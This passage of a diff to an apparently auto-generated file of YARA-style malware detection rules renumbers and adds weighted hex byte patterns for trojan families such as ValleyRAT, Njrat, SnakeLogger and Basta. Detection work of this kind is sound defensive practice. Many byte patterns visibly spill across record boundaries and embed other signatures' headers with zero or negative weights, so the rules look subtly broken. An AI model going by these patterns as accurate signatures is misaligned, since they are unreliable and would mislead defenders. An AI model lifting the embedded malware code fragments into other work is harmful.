54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4d 4d 48 21 4d 54 42 00 0a 00 3b 03 08 6c 04 6c 5b 0d 03 12 00 28 90 01 01 01 00 0a 6c 23 00 00 00 00 00 00 f0 3f 09 59 } //8993 + $a_6d_3 = {00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 52 41 54 2e 41 42 4b 21 4d 54 42 00 02 00 28 03 0f 10 04 02 66 0f ef c1 0f 11 04 02 0f 90 01 01 44 02 10 66 0f ef c1 0f 11 44 02 90 01 01 83 c0 90 01 01 3b c6 72 90 00 02 00 08 01 80 34 10 58 40 3b c1 72 02 00 04 01 78 79 7a 2f 00 00 78 6d 00 00 07 00 07 00 03 00 } //0 + $a_45_4 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 47 58 44 21 4d 54 42 00 05 00 14 01 6e 00 69 00 63 00 65 00 77 00 6b 00 2e 00 63 00 6f 00 6d 00 01 00 0c 80 01 43 3a 5c 5c 6b 65 72 6e 65 6c 33 32 01 00 11 01 63 75 72 6c 5f } //8993 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26995+(#a_6d_3 & 1)*0+(#a_4c_4 & 1)*8993) >=5 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26995+(#a_6d_3 & 1)*0+(#a_45_4 & 1)*8993) >=5 } -rule _InfrastructureShared_6652{ +rule _InfrastructureShared_7005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4e 41 21 4d 54 42 00 03 00 1b 03 e8 2a 08 00 00 eb 23 48 8d 1d 90 01 04 48 8d 35 b5 7b 00 00 48 39 f3 74 10 90 00 03 00 21 03 48 8b 00 48 85 c0 74 } //21539 - $a_c0_1 = {90 01 04 31 c9 ff d0 e8 63 05 00 00 48 8b 0d 81 32 00 00 90 00 00 00 78 6d 00 00 07 00 07 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a } //17676 + $a_c0_1 = {90 01 04 31 c9 ff d0 e8 63 05 00 00 48 8b 0d 81 32 00 00 90 00 00 00 78 6d 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //17676 condition: ((#a_4c_0 & 1)*21539+(#a_c0_1 & 1)*17676) >=6 } -rule _InfrastructureShared_6653{ +rule _InfrastructureShared_7006{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 52 41 54 2e 41 42 4b 21 4d 54 42 00 02 00 28 03 0f 10 04 02 66 0f ef c1 0f 11 04 02 0f 90 01 01 44 02 10 66 0f ef c1 0f 11 44 02 90 01 01 83 c0 90 01 } //21539 + $a_72_1 = {00 02 00 08 01 80 34 10 58 40 3b c1 72 02 00 04 01 78 79 7a 2f 00 00 78 6d 00 00 07 00 07 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 47 58 44 21 4d 54 42 00 05 00 14 01 6e 00 69 00 63 00 65 00 77 00 6b 00 2e 00 63 00 6f 00 6d 00 01 00 0c 80 01 43 3a 5c 5c 6b 65 72 6e 65 6c 33 32 01 00 11 01 63 75 72 6c 5f 65 61 73 79 5f 63 6c 65 61 6e 75 70 00 00 78 6d 00 00 07 00 07 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 45 78 4d 61 74 74 65 72 2e 45 00 01 00 08 01 73 79 6e 63 2e 65 78 65 01 00 08 01 73 79 6e 63 } //15105 + $a_62_2 = {00 08 01 73 79 6e 63 5f 65 6e 63 03 00 0c 01 52 65 6e 63 69 2e 53 73 68 4e 65 74 03 00 0d 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 00 00 78 6d 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4d 4d 48 21 4d 54 42 00 0a 00 3b 03 08 6c } //28718 + condition: + ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*15105+(#a_62_2 & 1)*28718) >=6 + +} +rule _InfrastructureShared_7007{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 47 58 44 21 4d 54 42 00 05 00 14 01 6e 00 69 00 63 00 65 00 77 00 6b 00 2e 00 63 00 6f 00 6d 00 01 00 0c 80 01 43 3a 5c 5c 6b 65 72 } //21539 + $a_33_1 = {01 00 11 01 63 75 72 6c 5f 65 61 73 79 5f 63 6c 65 61 6e 75 70 00 00 78 6d 00 00 07 00 07 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 45 78 4d 61 74 74 65 72 2e 45 00 01 00 08 01 73 79 6e 63 2e 65 78 65 01 00 08 01 73 79 6e 63 2e 70 64 62 01 00 08 01 73 79 6e 63 5f 65 6e 63 03 00 0c 01 52 65 6e } //25966 + $a_53_2 = {68 4e 65 74 03 00 0d 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 00 00 78 6d 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //26979 + condition: + ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*25966+(#a_53_2 & 1)*26979) >=7 + +} +rule _InfrastructureShared_7008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -69471,7 +73199,7 @@ rule _InfrastructureShared_6653{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29797+(#a_75_2 & 1)*28271+(#a_00_3 & 1)*257+(#a_90_4 & 1)*18) >=7 } -rule _InfrastructureShared_6654{ +rule _InfrastructureShared_7009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -69481,7 +73209,7 @@ rule _InfrastructureShared_6654{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6655{ +rule _InfrastructureShared_7010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -69491,7 +73219,7 @@ rule _InfrastructureShared_6655{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6656{ +rule _InfrastructureShared_7011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -69501,17 +73229,17 @@ rule _InfrastructureShared_6656{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6657{ +rule _InfrastructureShared_7012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 50 47 54 21 4d 54 42 00 0a 00 41 03 48 33 c4 48 89 84 24 a0 03 00 00 48 8b da 4c 8b f1 48 89 94 24 c0 00 00 00 45 33 ff 44 89 7c 24 30 0f 57 c0 0f 11 02 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 72 61 74 2e 5a 5a 47 21 4d 54 42 00 0a 00 41 03 07 11 05 91 58 20 00 01 00 00 5d 13 07 02 11 06 8f 90 01 01 00 00 01 25 71 90 01 01 00 00 01 07 11 07 91 61 d2 81 90 } //21539 condition: ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_6658{ +rule _InfrastructureShared_7013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -69523,7 +73251,7 @@ rule _InfrastructureShared_6658{ ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*17409+(#a_53_2 & 1)*18000) >=10 } -rule _InfrastructureShared_6659{ +rule _InfrastructureShared_7014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -69534,7 +73262,7 @@ rule _InfrastructureShared_6659{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*273) >=11 } -rule _InfrastructureShared_6660{ +rule _InfrastructureShared_7015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69544,7 +73272,7 @@ rule _InfrastructureShared_6660{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6661{ +rule _InfrastructureShared_7016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69554,7 +73282,7 @@ rule _InfrastructureShared_6661{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6662{ +rule _InfrastructureShared_7017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69564,7 +73292,7 @@ rule _InfrastructureShared_6662{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6663{ +rule _InfrastructureShared_7018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69574,7 +73302,17 @@ rule _InfrastructureShared_6663{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6664{ +rule _InfrastructureShared_7019{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 69 6e 70 6c 61 74 65 4c 6f 61 64 65 72 2e 43 21 64 68 61 00 01 00 3a 42 41 02 c0 32 c1 44 02 c8 41 0f b6 c9 8b d1 c1 e2 04 80 c2 90 01 01 8b c1 c1 e8 05 04 30 32 d0 41 02 c8 32 d1 0f b6 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_7020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69584,7 +73322,7 @@ rule _InfrastructureShared_6664{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6665{ +rule _InfrastructureShared_7021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69594,7 +73332,7 @@ rule _InfrastructureShared_6665{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6666{ +rule _InfrastructureShared_7022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69604,7 +73342,7 @@ rule _InfrastructureShared_6666{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6667{ +rule _InfrastructureShared_7023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69614,7 +73352,7 @@ rule _InfrastructureShared_6667{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6668{ +rule _InfrastructureShared_7024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69624,7 +73362,7 @@ rule _InfrastructureShared_6668{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6669{ +rule _InfrastructureShared_7025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69634,7 +73372,7 @@ rule _InfrastructureShared_6669{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6670{ +rule _InfrastructureShared_7026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69644,7 +73382,7 @@ rule _InfrastructureShared_6670{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6671{ +rule _InfrastructureShared_7027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69654,7 +73392,7 @@ rule _InfrastructureShared_6671{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6672{ +rule _InfrastructureShared_7028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69664,7 +73402,7 @@ rule _InfrastructureShared_6672{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6673{ +rule _InfrastructureShared_7029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69674,7 +73412,7 @@ rule _InfrastructureShared_6673{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6674{ +rule _InfrastructureShared_7030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69684,7 +73422,17 @@ rule _InfrastructureShared_6674{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6675{ +rule _InfrastructureShared_7031{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 74 72 6f 64 65 63 74 75 73 2e 41 44 54 5a 21 4d 54 42 00 01 00 39 01 45 03 c2 41 3b c8 73 04 4d 8d 61 f4 45 8b 59 08 45 8b 71 04 4e 8d 04 17 4d 03 df 45 33 d2 4d 85 f6 74 18 4d 2b d8 43 8a 14 03 41 ff } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_7032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69694,7 +73442,7 @@ rule _InfrastructureShared_6675{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6676{ +rule _InfrastructureShared_7033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69704,7 +73452,7 @@ rule _InfrastructureShared_6676{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6677{ +rule _InfrastructureShared_7034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69714,7 +73462,7 @@ rule _InfrastructureShared_6677{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6678{ +rule _InfrastructureShared_7035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69724,7 +73472,7 @@ rule _InfrastructureShared_6678{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6679{ +rule _InfrastructureShared_7036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69734,7 +73482,7 @@ rule _InfrastructureShared_6679{ ((#a_57_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6680{ +rule _InfrastructureShared_7037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69744,7 +73492,7 @@ rule _InfrastructureShared_6680{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6681{ +rule _InfrastructureShared_7038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69754,7 +73502,7 @@ rule _InfrastructureShared_6681{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6682{ +rule _InfrastructureShared_7039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69764,7 +73512,7 @@ rule _InfrastructureShared_6682{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6683{ +rule _InfrastructureShared_7040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69774,7 +73522,7 @@ rule _InfrastructureShared_6683{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6684{ +rule _InfrastructureShared_7041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69784,7 +73532,7 @@ rule _InfrastructureShared_6684{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6685{ +rule _InfrastructureShared_7042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69794,7 +73542,7 @@ rule _InfrastructureShared_6685{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6686{ +rule _InfrastructureShared_7043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -69804,52 +73552,62 @@ rule _InfrastructureShared_6686{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6687{ +rule _InfrastructureShared_7044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 4e 69 76 64 6f 72 74 2e 51 00 01 00 21 03 8b 55 fc 2b d1 89 55 fc 0f 10 05 90 01 04 8b 45 fc 05 90 01 04 23 45 e4 0f af 45 e0 89 45 e0 90 00 01 00 1c 03 8b 45 e4 2b c2 89 45 e4 0f 10 0d 90 01 03 00 } //18467 - $a_69_1 = {90 01 04 8b 55 fc 90 00 00 00 78 6e 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 57 65 6b 72 6f 62 65 72 2e 43 31 00 01 00 0c 01 b7 9f 91 9a a5 ea b5 9a ba 9e a3 00 01 00 0d 01 b5 9a a6 a9 96 a5 ea ba 9e 95 a3 a1 9c 01 00 0c 01 b6 c4 98 9d c1 9c a1 a7 a1 a9 9e 00 01 00 0e 01 be b4 bd e1 d2 be e1 8e 8d a0 8f 8d e1 00 00 00 78 6e 00 00 02 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 73 74 61 2e 50 43 21 4d 54 42 00 01 00 23 03 8b c8 8b 1e 83 e1 90 01 01 8b 7e 90 01 01 33 d8 8b 76 90 01 01 33 f8 33 f0 d3 cf d3 ce d3 cb 3b fe 90 00 01 00 1b 03 66 98 66 31 44 4d 90 01 01 41 83 f9 90 01 01 73 05 8a 45 90 01 01 eb ee 33 90 00 00 00 78 6e 00 00 02 00 02 00 01 00 21 23 41 4c } //19851 + $a_69_1 = {90 01 04 8b 55 fc 90 00 00 00 78 6e 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 57 65 6b 72 6f 62 65 72 2e 43 31 00 01 00 0c 01 b7 9f 91 9a a5 ea b5 9a ba 9e a3 00 01 00 0d 01 b5 9a a6 a9 96 a5 ea ba 9e 95 a3 a1 9c 01 00 0c 01 b6 c4 98 9d c1 9c a1 a7 a1 a9 9e 00 01 00 0e 01 be b4 bd e1 d2 be e1 8e 8d a0 8f 8d e1 00 00 00 78 6e 00 00 02 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 73 74 61 2e 50 43 21 4d 54 42 00 01 00 23 03 8b c8 8b 1e 83 e1 90 01 01 8b 7e 90 01 01 33 d8 8b 76 90 01 01 33 f8 33 f0 d3 cf d3 ce d3 cb 3b fe 90 00 01 00 1b 03 66 98 66 31 44 4d 90 01 01 41 83 f9 90 01 01 73 05 8a 45 90 01 01 eb ee 33 90 00 00 00 78 6e 00 00 02 00 02 00 01 00 21 23 54 45 } //19851 condition: ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*19851) >=1 } -rule _InfrastructureShared_6688{ +rule _InfrastructureShared_7045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 57 65 6b 72 6f 62 65 72 2e 43 31 00 01 00 0c 01 b7 9f 91 9a a5 ea b5 9a ba 9e a3 00 01 00 0d 01 b5 9a a6 a9 96 a5 ea ba 9e 95 a3 a1 9c 01 00 0c 01 b6 c4 98 9d c1 9c a1 a7 a1 a9 9e 00 01 00 0e 01 be } //18467 - $a_d2_1 = {e1 8e 8d a0 8f 8d e1 00 00 00 78 6e 00 00 02 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 73 74 61 2e 50 43 21 4d 54 42 00 01 00 23 03 8b c8 8b 1e 83 e1 90 01 01 8b 7e 90 01 01 33 d8 8b 76 90 01 01 33 f8 33 f0 d3 cf d3 ce d3 cb 3b fe 90 00 01 00 1b 03 66 98 66 31 44 4d 90 01 01 41 83 f9 90 01 01 73 05 8a 45 90 01 01 eb ee 33 90 00 00 00 78 6e 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 72 75 6e 6e 65 72 2e 53 43 52 54 21 4d 54 42 00 02 00 36 03 5e 5b 8b 4d fc 5f e8 90 01 03 00 c9 c2 08 00 ff b5 e4 fb ff ff ff 15 90 01 03 00 57 ff b5 e0 fb ff ff ff 15 90 01 03 00 53 ff 15 } //-16972 - $a_00_2 = {59 33 c0 } //400 - $a_00_3 = {00 00 78 6e 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 79 70 61 73 73 55 41 43 2e 53 47 42 21 4d 54 42 00 02 00 3d 03 0f 11 42 f0 0f 10 81 90 01 04 0f 11 0a 48 8b 81 90 01 04 49 c7 c0 ff ff ff ff 0f 11 42 90 01 01 48 89 42 20 0f b7 81 90 01 04 66 89 42 28 0f b6 81 90 01 04 88 42 2a 48 8d 45 40 90 00 00 00 78 6e 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c } //-13077 + $a_d2_1 = {e1 8e 8d a0 8f 8d e1 00 00 00 78 6e 00 00 02 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 73 74 61 2e 50 43 21 4d 54 42 00 01 00 23 03 8b c8 8b 1e 83 e1 90 01 01 8b 7e 90 01 01 33 d8 8b 76 90 01 01 33 f8 33 f0 d3 cf d3 ce d3 cb 3b fe 90 00 01 00 1b 03 66 98 66 31 44 4d 90 01 01 41 83 f9 90 01 01 73 05 8a 45 90 01 01 eb ee 33 90 00 00 00 78 6e 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4c 6f 67 67 65 72 2e 45 49 41 47 21 4d 54 42 00 02 00 3b 03 61 0c 00 06 02 90 01 05 fe 04 16 fe 01 13 07 11 07 2c 05 90 01 05 07 02 90 01 05 fe 04 16 fe 01 13 08 11 08 2c 05 90 01 05 03 90 01 05 04 fe 04 } //-16972 + $a_13_2 = {11 } //-490 + $a_90_3 = {00 00 78 6e 00 } //11273 condition: - ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*-16972+(#a_00_2 & 1)*400+(#a_00_3 & 1)*-13077) >=1 + ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*-16972+(#a_13_2 & 1)*-490+(#a_90_3 & 1)*11273) >=1 } -rule _InfrastructureShared_6689{ +rule _InfrastructureShared_7046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 73 74 61 2e 50 43 21 4d 54 42 00 01 00 23 03 8b c8 8b 1e 83 e1 90 01 01 8b 7e 90 01 01 33 d8 8b 76 90 01 01 33 f8 33 f0 d3 cf d3 ce d3 cb 3b fe 90 00 01 00 1b 03 66 98 66 31 44 4d 90 } //16675 - $a_83_1 = {90 01 01 73 05 8a 45 90 01 01 eb ee 33 90 00 00 00 78 6e 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 72 75 6e 6e 65 72 2e 53 43 52 } //257 + $a_83_1 = {90 01 01 73 05 8a 45 90 01 01 eb ee 33 90 00 00 00 78 6e 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4c 6f 67 67 65 72 2e 45 49 41 47 21 4d 54 42 } //257 condition: ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*257) >=1 } -rule _InfrastructureShared_6690{ +rule _InfrastructureShared_7047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 72 75 6e 6e 65 72 2e 53 43 52 54 21 4d 54 42 00 02 00 36 03 5e 5b 8b 4d fc 5f e8 90 01 03 00 c9 c2 08 00 ff b5 e4 fb ff ff ff 15 90 01 03 00 57 ff b5 e0 fb ff ff } //16675 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4c 6f 67 67 65 72 2e 45 49 41 47 21 4d 54 42 00 02 00 3b 03 61 0c 00 06 02 90 01 05 fe 04 16 fe 01 13 07 11 07 2c 05 90 01 05 07 02 90 01 05 fe 04 16 fe 01 } //21539 condition: - ((#a_46_0 & 1)*16675) >=2 + ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_6691{ +rule _InfrastructureShared_7048{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 45 49 4f 53 21 4d 54 42 00 02 00 41 03 0d 2b 40 07 09 0f 02 90 01 05 05 0e 04 09 6b 06 5a 58 6c 90 01 05 6b 5a 58 0f 02 90 01 05 05 0e 04 09 6b 06 5a 58 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_7049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -69859,7 +73617,7 @@ rule _InfrastructureShared_6691{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_6692{ +rule _InfrastructureShared_7050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69870,7 +73628,7 @@ rule _InfrastructureShared_6692{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*32271) >=2 } -rule _InfrastructureShared_6693{ +rule _InfrastructureShared_7051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69881,7 +73639,7 @@ rule _InfrastructureShared_6693{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*78) >=2 } -rule _InfrastructureShared_6694{ +rule _InfrastructureShared_7052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69891,7 +73649,7 @@ rule _InfrastructureShared_6694{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6695{ +rule _InfrastructureShared_7053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69902,7 +73660,7 @@ rule _InfrastructureShared_6695{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*-4989) >=2 } -rule _InfrastructureShared_6696{ +rule _InfrastructureShared_7054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69913,7 +73671,7 @@ rule _InfrastructureShared_6696{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*4352) >=2 } -rule _InfrastructureShared_6697{ +rule _InfrastructureShared_7055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69924,7 +73682,7 @@ rule 